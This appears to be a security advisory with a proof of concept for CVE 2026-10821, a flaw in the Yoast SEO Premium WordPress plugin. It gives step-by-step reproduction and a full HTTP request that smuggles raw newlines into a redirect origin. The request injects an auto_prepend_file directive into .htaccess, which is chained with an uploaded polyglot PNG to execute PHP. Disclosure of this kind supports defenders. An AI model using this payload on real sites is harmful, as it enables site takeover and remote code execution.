Yoast SEO Premium < 27.6.1 – Author+ Arbitrary .htaccess Directive Injection to RCE | CVE 2026-10821

Description

The plugin does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level access. This allows such users to inject arbitrary newline-delimited Apache directives into the root .htaccess file. On Apache servers that honour PHP directives, the injection can be chained with the user's own media upload (a polyglot image carrying a PHP payload) and an auto_prepend_file directive to achieve Remote Code Execution.

Proof of Concept

### Preconditions
- Authenticated user with the edit_posts capability (Author or above); wpseo_manage_redirects is NOT required.
- Apache server with a writable root .htaccess (and AllowOverride/mod_php permitting php_value for the code-execution step).
- File-based redirects enabled: Yoast SEO -> Redirects -> Redirect method with "Disable PHP redirects" = on and "Separate file" = off (non-default; the default redirect mode is PHP-based and does not touch .htaccess).

### Steps to reproduce
1. Activate the affected version on an Apache site with a writable root .htaccess.
2. Enable file-based redirects: set "Disable PHP redirects" to on and keep "Separate file" off.
3. Log in as an Author, publish a post, then move it to the trash. The plugin renders a redirect notification whose markup embeds a valid redirect AJAX nonce (wpseo-redirects-ajax-security). Extract it.
4. As the Author, upload a polyglot PNG (valid IHDR header with an appended <?php ... ?> trailer) via the Media Library / REST media endpoint. It lands under wp-content/uploads/<YYYY>/<MM>/.
5. Send the regex-redirect add request, embedding raw newlines plus Apache directives in the origin (the regex format bypasses origin sanitization, and CR/LF are preserved):

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <TARGET>
Cookie: <AUTHOR COOKIE>
Content-Type: application/x-www-form-urlencoded

action=wpseo_add_redirect_regex&ajax_nonce=<NONCE FROM STEP 3>&redirect%5Borigin%5D=%5epocrce_jpg_xyz%24%20%2fnoop%3c%2fIfModule%3e%0aphp_value%20auto_prepend_file%20<PATH TO UPLOADED POLYGLOT PNG>%0a%3cIfModule%20mod_rewrite.c%3e%0aRedirectMatch%20301%20%5enever_match_jpg%24&redirect%5Btarget%5D=%2Fok&redirect%5Btype%5D=301
```

6. Open the site root .htaccess and confirm the injected php_value auto_prepend_file line now appears inside the # BEGIN YOAST REDIRECTS block.
7. Issue any HTTP request to the site; the PHP embedded in the PNG executes ahead of the normal output, confirming code execution.